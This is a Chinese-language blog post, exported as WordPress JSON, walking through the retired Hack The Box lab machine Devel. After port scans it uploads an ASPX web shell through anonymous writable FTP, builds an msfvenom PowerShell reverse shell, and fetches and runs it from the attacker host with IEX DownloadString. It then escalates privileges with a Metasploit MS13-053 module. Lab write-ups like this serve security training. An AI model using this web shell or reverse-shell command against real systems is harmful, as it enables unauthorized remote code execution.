{"id":167,"date":"2024-11-13T10:45:26","date_gmt":"2024-11-13T02:45:26","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=167"},"modified":"2024-11-13T10:45:27","modified_gmt":"2024-11-13T02:45:27","slug":"167","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/167\/","title":{"rendered":"HTB\u9776\u673a Devel \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.5<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.\n64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=103 ms\n64 bytes from 10.10.10.5: icmp_seq=2 ttl=127 time=103 ms\n64 bytes from 10.10.10.5: icmp_seq=3 ttl=127 time=107 ms\n64 bytes from 10.10.10.5: icmp_seq=4 ttl=127 time=109 ms\n\n--- 10.10.10.5 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3306ms\nrtt min\/avg\/max\/mdev = 103.216\/105.705\/108.945\/2.512 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 09:45:21 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.5\nNmap scan report for 10.10.10.5 (10.10.10.5)\nHost is up (0.10s latency).\nAll 65535 scanned ports on 10.10.10.5 (10.10.10.5) are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Sep 15 09:46:28 2024 -- 1 IP address (1 host up) scanned in 66.28 seconds<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 09:49:55 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN .\/tcp_result.txt 10.10.10.5\nNmap scan report for 10.10.10.5 (10.10.10.5)\nHost is up (0.10s latency).\nNot shown: 65533 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n21\/tcp open  ftp     Microsoft ftpd\n| ftp-syst: \n|_  SYST: Windows_NT\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| 03-18-17  02:06AM       &lt;DIR&gt;          aspnet_client\n| 03-17-17  05:37PM                  689 iisstart.htm\n| 09-14-24  01:05PM                 2932 update.aspx\n|_03-17-17  05:37PM               184946 welcome.png\n80\/tcp open  http    Microsoft IIS httpd 7.5\n|_http-server-header: Microsoft-IIS\/7.5\n|_http-title: IIS7\n| http-methods: \n|_  Potentially risky methods: TRACE\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|phone|specialized\nRunning (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)\nOS CPE: cpe:\/o:microsoft:windows_8 cpe:\/o:microsoft:windows cpe:\/o:microsoft:windows_7 cpe:\/o:microsoft:windows_server_2008:r2 cpe:\/o:microsoft:windows_8.1 cpe:\/o:microsoft:windows_vista::- cpe:\/o:microsoft:windows_vista::sp1\nAggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nTRACEROUTE (using port 21\/tcp)\nHOP RTT       ADDRESS\n1   102.82 ms 10.10.14.1 (10.10.14.1)\n2   103.18 ms 10.10.10.5 (10.10.10.5)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Sep 15 09:51:21 2024 -- 1 IP address (1 host up) scanned in 86.34 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Sep 15 09:54:40 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.5\nNmap scan report for 10.10.10.5 (10.10.10.5)\nHost is up (0.10s latency).\nAll 65535 scanned ports on 10.10.10.5 (10.10.10.5) are in ignored states.\nNot shown: 65535 open|filtered udp ports (no-response)\n\n# Nmap done at Sun Sep 15 09:55:47 2024 -- 1 IP address (1 host up) scanned in 66.87 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u5927\u81f4\u4e3a<code>Windows 8<\/code>\uff0c\u4ee5\u53ca\u9776\u673a<code>FTP<\/code>\u670d\u52a1\u5141\u8bb8\u533f\u540d\u767b\u5f55\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>FTP\u670d\u52a1\uff0821\u7aef\u53e3\uff09<\/h2>\n<p>\u76f4\u63a5\u4f7f\u7528<code>ftp<\/code>\u547d\u4ee4\u767b\u5f55\u9776\u673aFTP\u670d\u52a1\u7684\u533f\u540d\u8d26\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">ftp 10.10.10.5 21<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726447290756-d2f5e71a-fb3b-4c37-8259-62247d5b5e4a.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a<code>FTP<\/code>\u76ee\u5f55\u5185\u5b58\u5728<code>HTML<\/code>\u6587\u4ef6\u548c\u7591\u4f3c<code>ASP<\/code>\u7a0b\u5e8f\u6587\u4ef6\u5939\uff0c\u6000\u7591\u8be5\u76ee\u5f55\u4e3a\u7f51\u9875\u76ee\u5f55\u3002\u540c\u65f6\u8fd8\u53d1\u73b0\u8be5<code>FTP<\/code>\u5171\u4eab\u53ef\u5199\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726447624290-fd9354e5-26a0-44bf-8c00-23139a1476b7.png\" alt=\"\" \/><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u7f51\u5740\uff1a<code>http:\/\/10.10.10.5\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726447878986-c47d700d-2d73-4101-a66f-be025a63e831.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3a\u9ed8\u8ba4\u9875\u9762\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Mon Sep 16 08:53:35 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.5\/ -x 400,403,404 -e asp,aspx,js,html,txt,zip,tar.gz,pcap -t 60\n\n301   155B   http:\/\/10.10.10.5\/aspnet_client    -&gt; REDIRECTS TO: http:\/\/10.10.10.5\/aspnet_client\/\n500     3KB  http:\/\/10.10.10.5\/WebResource.axd?d=LER8t9aS<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86<code>FTP<\/code>\u670d\u52a1\u4e2d\u7684\u76ee\u5f55<code>aspnet_client<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<p>\u76f4\u63a5\u5728<code>FTP<\/code>\u76ee\u5f55\u4e2d\u65b0\u5efa<code>ASP<\/code>\u6728\u9a6c\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-vbnet\">&lt;%@ Page Language=\"C#\" %&gt;\n&lt;%\nstring cmd = Request.QueryString[\"cmd\"];\nif (!string.IsNullOrEmpty(cmd))\n{\n    System.Diagnostics.Process process = new System.Diagnostics.Process();\n    process.StartInfo.FileName = \"cmd.exe\";\n    process.StartInfo.Arguments = \"\/c \" + cmd;\n    process.StartInfo.UseShellExecute = false;\n    process.StartInfo.RedirectStandardOutput = true;\n    process.Start();\n    Response.Write(process.StandardOutput.ReadToEnd());\n}\n%&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726451502031-ff213059-ffdc-4e7d-8cce-aff6b8967f9e.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u8bbf\u95ee\u7f51\u5740\uff1a<code>http:\/\/10.10.10.5\/sparkle.aspx?cmd=whoami<\/code>\u6d4b\u8bd5\u6728\u9a6c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726451527135-9be8f979-54d6-422f-b817-a5d76d79b5a6.png\" alt=\"\" \/><\/p>\n<p>\u6728\u9a6c\u6210\u529f\u8fd0\u884c\uff01\u63a5\u4e0b\u6765\u4f7f\u7528<code>MSFVenom<\/code>\u5de5\u5177\u751f\u6210<code>PowerShell<\/code>\u53cd\u5f39\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-shell\">msfvenom -p windows\/powershell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f psh-reflection -o .\/reverse.ps1<\/code><\/pre>\n<p>\u968f\u540e\u5728\u653b\u51fb\u673a\u4e0a\u6253\u5f00<code>SimpleHTTPServer<\/code>\u548c<code>Metasploit<\/code>\u76d1\u542c\uff0c\u7136\u540e\u76f4\u63a5\u6267\u884c\u5982\u4e0b<code>PowerShell<\/code>\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-powershell\">powershell IEX (New-Object System.Net.Webclient).DownloadString('http:\/\/10.10.14.4\/reverse.ps1')<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726539430327-77fa8e5f-4984-441b-b2f9-678d68387590.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u5185\u6838\u6f0f\u6d1e\u63d0\u6743<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u6211\u4eec\u9996\u5148\u4f7f\u7528<code>Metasploit<\/code>\u81ea\u5e26\u7684<code>Windows<\/code>\u6f0f\u6d1e\u641c\u7d22\u6a21\u5757<code>local_exploit_suggester<\/code>\u8fdb\u884c\u5185\u6838\u6f0f\u6d1e\u679a\u4e3e\uff1a<\/p>\n<pre><code class=\"language-shell\">use post\/multi\/recon\/local_exploit_suggester\nset SESSION 3\nrun<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726544130337-4cedaa2a-14b9-4846-8ac3-475ea49086dd.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5927\u91cf\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726544292290-aaba4ebb-fd61-4fed-8de1-65038720fddf.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>MS13-053<\/code>\u6f0f\u6d1e\u8fdb\u884c\u63d0\u6743\u3002\u8bbe\u7f6e\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-shell\">use exploit\/windows\/local\/ms13_053_schlamperei\nset SESSION 3\nset LHOST 10.10.14.7\nset LPORT 4444<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726544467609-31bbc5a6-5eae-432e-a200-1b43ac7b8a70.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u76f4\u63a5\u4f7f\u7528<code>run<\/code>\u547d\u4ee4\u63d0\u6743\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726544556072-1c60e896-8550-4d97-95fd-35c7a35962d2.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726545893255-4e24cb51-d0d5-4efa-812e-205f726ac7f0.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.5 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.5 (10.10.10.5) 56( &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,13],"tags":[],"class_list":["post-167","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=167"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/167\/revisions"}],"predecessor-version":[{"id":168,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/167\/revisions\/168"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}